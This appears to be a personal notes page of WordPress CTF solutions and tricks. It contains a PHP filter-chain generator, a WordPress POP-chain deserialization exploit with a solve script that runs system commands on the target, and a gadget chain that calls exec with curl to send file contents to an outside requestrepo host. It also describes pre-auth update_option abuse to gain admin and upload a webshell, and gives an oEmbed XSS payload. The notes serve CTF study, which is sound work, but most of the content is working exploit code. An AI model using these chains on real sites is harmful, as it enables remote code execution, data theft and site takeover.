Skip to content

Categories

Wordpress

un-authenticated admin endpoint/wp-admin/admin-post.phpwhereis_admin()returnstrueand still recommending EOL PHP 7.4 (https://wordpress.org/download/)WordPress Plugin Security Testing Cheat Sheet · wps...

Created

Updated

7 min read

Reading time

1 categories

Topics covered

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

Wordpress

Wordpress POP Chain gadget 2025

Event NameSekai CTF 2025
GitHub URLsekaictf-2025/web/fancy-web at main · project-sekai-ctf/sekaictf-2025
Challenge NameFancy Web
Attachments
References

filter_chain.py
#!/usr/bin/env python3
import argparse
import base64
import re

# - Useful infos -
# https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters
# https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
# https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d

# No need to guess a valid filename anymore
file_to_use = "php://temp"

conversions = {
    '0': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2',
    '1': 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
    '2': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
    '3': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
    '4': 'convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE',
    '5': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2',
    '6': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
    '7': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4',
    '8': 'convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB',
    'A': 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
    'a': 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
    'B': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000',
    'b': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    'c': 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
    'D': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213',
    'd': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5',
    'E': 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
    'e': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
    'F': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
    'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
    'g': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
    'G': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
    'H': 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
    'h': 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
    'I': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
    'i': 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
    'J': 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
    'j': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
    'K': 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
    'k': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
    'L': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
    'l': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
    'M':'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
    'm':'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
    'N': 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
    'n': 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
    'O': 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
    'o': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
    'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
    'p': 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
    'q': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
    'Q': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
    'R': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
    'r': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
    'S': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
    's': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
    'T': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
    't': 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
    'U': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943',
    'u': 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
    'V': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
    'v': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2',
    'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
    'w': 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
    'X': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
    'x': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
    'Y': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
    'y': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
    'Z': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
    'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
    '/': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
    '+': 'convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157',
    '=': ''
}

def generate_filter_chain(chain, debug_base64 = False):

    encoded_chain = chain
    # generate some garbage base64
    filters = "convert.iconv.UTF8.CSISO2022KR|"
    filters += "convert.base64-encode|"
    # make sure to get rid of any equal signs in both the string we just generated and the rest of the file
    filters += "convert.iconv.UTF8.UTF7|"


    for c in encoded_chain[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"
    if not debug_base64:
        # don't add the decode while debugging chains
        filters += "convert.base64-decode"

    final_payload = f"php://filter/{filters}/resource={file_to_use}"
    return final_payload

def main():

    # Parsing command line arguments
    parser = argparse.ArgumentParser(description="PHP filter chain generator.")

    parser.add_argument("--chain", help="Content you want to generate. (you will maybe need to pad with spaces for your payload to work)", required=False)
    parser.add_argument("--rawbase64", help="The base64 value you want to test, the chain will be printed as base64 by PHP, useful to debug.", required=False)
    args = parser.parse_args()
    if args.chain is not None:
        chain = args.chain.encode('utf-8')
        base64_value = base64.b64encode(chain).decode('utf-8').replace("=", "")
        chain = generate_filter_chain(base64_value)
        print(chain)
    if args.rawbase64 is not None:
        rawbase64 = args.rawbase64.replace("=", "")
        match = re.search("^([A-Za-z0-9+/])*$", rawbase64)
        if (match):
            chain = generate_filter_chain(rawbase64, True)
            print(chain)
        else:
            print ("[-] Base64 string required.")
            exit(1)

if __name__ == "__main__":
    main()
solve.php
<?php
/**
 *
WP_Block_Patterns_Registry->get_content (\wp-includes\class-wp-block-patterns-registry.php:178)
WP_Block_Patterns_Registry->get_registered (\wp-includes\class-wp-block-patterns-registry.php:199)
WP_Block->__construct (\wp-includes\class-wp-block.php:139)
WP_Block_List->offsetGet (\wp-includes\class-wp-block-list.php:96)
WP_HTML_Tag_Processor->class_name_updates_to_attributes_updates (\wp-includes\html-api\class-wp-html-tag-processor.php:2284)
WP_HTML_Tag_Processor->get_updated_html (\wp-includes\html-api\class-wp-html-tag-processor.php:4158)
WP_HTML_Tag_Processor->__toString (\wp-includes\html-api\class-wp-html-tag-processor.php:4126)
in_array (\wp-content\plugins\custom-footer\custom-footer.php:444)
SecureTableGenerator->resetSecurityProperties (\wp-content\plugins\custom-footer\custom-footer.php:444)
SecureTableGenerator->__wakeup (\wp-content\plugins\custom-footer\custom-footer.php:129)
unserialize (\wp-content\plugins\custom-footer\custom-footer.php:610)
index (\wp-content\plugins\custom-footer\custom-footer.php:610)
WP_Hook->apply_filters (\wp-includes\class-wp-hook.php:324)
WP_Hook->do_action (\wp-includes\class-wp-hook.php:348)
do_action (\wp-includes\plugin.php:517)
require_once (\wp-includes\template-loader.php:13)
require (\wp-blog-header.php:19)
{main} (\index.php:17)

all credit for this solution goes to @khanhhnahk1 and Patchstack Security Researcher.
 */
 namespace {
    class WP_HTML_Tag_Processor {
        public $html;
        public $parsing_namespace = 'html';
        public $attributes = array();
        public $classname_updates = [1];
        public function __construct( $attributes ) {
            $this->attributes = $attributes;
            $this->html = "foobar";
        }
     }
     class WP_Block_List  {
        public $blocks = ['class' => ['blockName'=> 'test','a' =>'a']];
        public $registry;
        public function __construct(  $registry  ) {
            $this->registry          = $registry;
        }
     }
     final class WP_Block_Patterns_Registry {
        public $registered_patterns;
        public function __construct($payload) {
            $this->registered_patterns = ['test' => ['filePath' => $payload]];
        }
     }

     class WP_Query {
        public function __construct($compat_methods) {
            $this->compat_methods = $compat_methods;
        }
     }
     class WP_Theme {
      public function __construct($headers) {
        $this->headers = $headers;
      }
     }

     class SecureTableGenerator
{
    private $data;
    private $headers;
    private $tableClass;
    private $allowedTags;

    public function __construct($allowedTags)
    {
      $this->allowedTags = $allowedTags;
    }
}
    $payload = $argv[1];
     $WP_block_patterns_registry = new WP_Block_Patterns_Registry($payload);
     $WP_block_list = new WP_Block_List($WP_block_patterns_registry);
     $WP_HTML_tag_processor = new WP_HTML_Tag_Processor($WP_block_list);
     $SecureTableGenerator = new SecureTableGenerator([$WP_HTML_tag_processor]);

     echo base64_encode(serialize($SecureTableGenerator));

}
solve.py
import httpx
import asyncio
from subprocess import Popen, PIPE

URL = "http://localhost"
# URL = "http://18.140.17.89:9100"

def payload(payload):
    filter_chain = Popen(['python3', 'filter_chain.py', '--chain', payload], stdout=PIPE, stderr=PIPE)
    filter_chain = filter_chain.stdout.read().decode('utf-8').strip()
    return Popen(['php', 'solve.php', filter_chain], stdout=PIPE, stderr=PIPE).stdout.read().decode('utf-8')

class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.AsyncClient(base_url=url, timeout=10)

    def serialize(self, payload: str) -> None:
        # content = base64.b64encode(content.encode()).decode()
        return self.c.post("/", data={"serialized_data": payload, "generate": "Generate"})

class API(BaseAPI):
    ...

async def main():
    api = API()
    res = await api.serialize(payload("<?php system('cat /flag* > /var/www/html/wp-content/uploads/this_is_secret_folder_dont_touch_it');?>"))
    print(res.text)
    res = await api.c.get("/wp-content/uploads/this_is_secret_folder_dont_touch_it")
    print(res.text)


if __name__ == "__main__":
    asyncio.run(main())
Image

In wordpress route, if a params called like this $some_value = trim( strtolower( $request['somevalue'] ) ); it can be specified via get or post request data.

Event NamePatchstack Alliance CTF S02E01 - WordCamp Asia
GitHub URL-
Challenge NameBlocked
Attachments
References

register_rest_route
function register_endpoints(){
    register_rest_route( 'test', '/upload/(?P<somevalue>\w+)', [
        'methods' => WP_Rest_Server::CREATABLE,
        'callback' => 'upload_something',
        'permission_callback' => 'check_request',
    ]);
}

function check_request( $request ) {
    $some_value = trim( strtolower( $request['somevalue'] ) );
    if( empty( $some_value ) ) {
       return false;
    }
 
    if( ! preg_match( '/^secretword_/i', $some_value) ) {
       return false;
    }
 
    if( $some_value == 'secretword_is_true' ) {
       return false;
    }
    return true;
}

In wordpress get_option somehow ignore some non printable character like \x01 and \x00 even if it’s in the middle, it’s work with update_option too

Event NamePatchstack Alliance CTF S02E01 - WordCamp Asia
GitHub URL-
Challenge NameBlocked
Attachments
References

register_rest_route
    $body = $request->get_json_params();
    $content = $body['content'];
    $name = $body['name'];
    $some_value = trim( strtolower( $request['somevalue'] ) );
    if(!get_option($some_value)){
        echo "blocked";
        exit(); 
    }

sanitize_text_field will remove all percented encoding

Event NamePatchstack Alliance CTF S02E01 - WordCamp Asia
GitHub URL-
Challenge NameGive
Attachments
References

function _sanitize_text_fields( $str, $keep_newlines = false ) {
	if ( is_object( $str ) || is_array( $str ) ) {
		return '';
	}

	$str = (string) $str;

	$filtered = wp_check_invalid_utf8( $str );

	if ( str_contains( $filtered, '<' ) ) {
		$filtered = wp_pre_kses_less_than( $filtered );
		// This will strip extra whitespace for us.
		$filtered = wp_strip_all_tags( $filtered, false );

		/*
		 * Use HTML entities in a special case to make sure that
		 * later newline stripping stages cannot lead to a functional tag.
		 */
		$filtered = str_replace( "<\n", "&lt;\n", $filtered );
	}

	if ( ! $keep_newlines ) {
		$filtered = preg_replace( '/[\r\n\t ]+/', ' ', $filtered );
	}
	$filtered = trim( $filtered );

	// Remove percent-encoded characters.
	$found = false;
	while ( preg_match( '/%[a-f0-9]{2}/i', $filtered, $match ) ) {
		$filtered = str_replace( $match[0], '', $filtered );
		$found    = true;
	}

	if ( $found ) {
		// Strip out the whitespace that may now exist after removing percent-encoded characters.
		$filtered = trim( preg_replace( '/ +/', ' ', $filtered ) );
	}

	return $filtered;
}

source pathstack https://discord.com/channels/1024691600619745334/1214153416071184385

un-authenticated admin endpoint

/wp-admin/admin-post.php

where

is_admin()

returns

true

and still recommending EOL PHP 7.4 (https://wordpress.org/download/)

WordPress Plugin Security Testing Cheat Sheet · wpscanteam/wpscan Wiki (github.com)

paragonie/awesome-appsec: A curated list of resources for learning about application security (github.com)

Most Common WordPress Vulnerabilities & How to Fix Them (patchstack.com)

If you have sink of update_option

r3ctf 2024

sure! since the plugin is loaded automatically, and is_admin() is just checking the current context instead of user authentication, so we can trigger the init in Custom_LaTeX_Admin by simply post to something like wp-admin/admin-ajax.php, after fulfilling some POST parameter, we can now reach the update_option($new[0], $new[1]); when pre-auth. with update_option($new[0], $new[1]);, we can enable user register and change default role to admin with users_can_register and default_role, the site have a little bit custom theme that allow new register to set their password to avoid the mail sending, so we can just register a new user, login as admin, upload a webshell with plugin.

If error is enable in wordpress php setting, we potentialy can bypass all security header like content type and csp

Content Security Policy (CSP) Bypass | HackTricks

NDWPP Project Sekai 2024 Challenge unitended solution

$bt = new WP_Block_Type();
$bt->render_callback = "exec";

$block = new WP_Block();
$block->name = 'rce';
$block->block_type = $bt;
$block->attributes = "curl http://kvjygava.requestrepo.com/?$(cat /*.txt)";

// effectively;
// call_user_func("exec", "curl http://kvjygava.requestrepo.com/?$(cat /*.txt)", "", $block);
echo base64_encode(serialize(array(
    new \APlusSecurity("USERNONCE1", 2558, NULL), // needed to load the block types into the registry

    new \APlusSecurity("USERNONCE1", 2453, array(
        "blockName" => "core/group",
        "innerBlocks" => array(
            $block
        ),
        "innerContent" => array(NULL)
    ))
))) . "\n";

Checking media

http://100.25.255.51:9091/wp-json/wp/v2/media/

Wordpress and PHP source, sanitizer, and sink

Sinks :: WordPress CTF — A WordPress Capture-the-Flag Workshop

Wordpress wp_oembed_get isn’t secure, its can contain XSS payload

vulnerable

$args = array(
'width' => 100,
'height' => 100
);

wp_oembed_add_provider( '/https:\/\/.*/i', $_GET['url'], true);

$embed = wp_oembed_get($_GET['url'], $args);

var_dump($embed);

example payload

{"<head><link rel='alternate' type='application/json+oembed' href='https://webhook.site/bf3a3197-56ba-4476-8aab-4b6d2406d9be'></head>":"x", "type":"rich", "html":"<img src=x onerror=alert(1)>"}

Categories & Topics

This note is categorized under the following topics. Click on any category to explore more related content.

Share this note

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.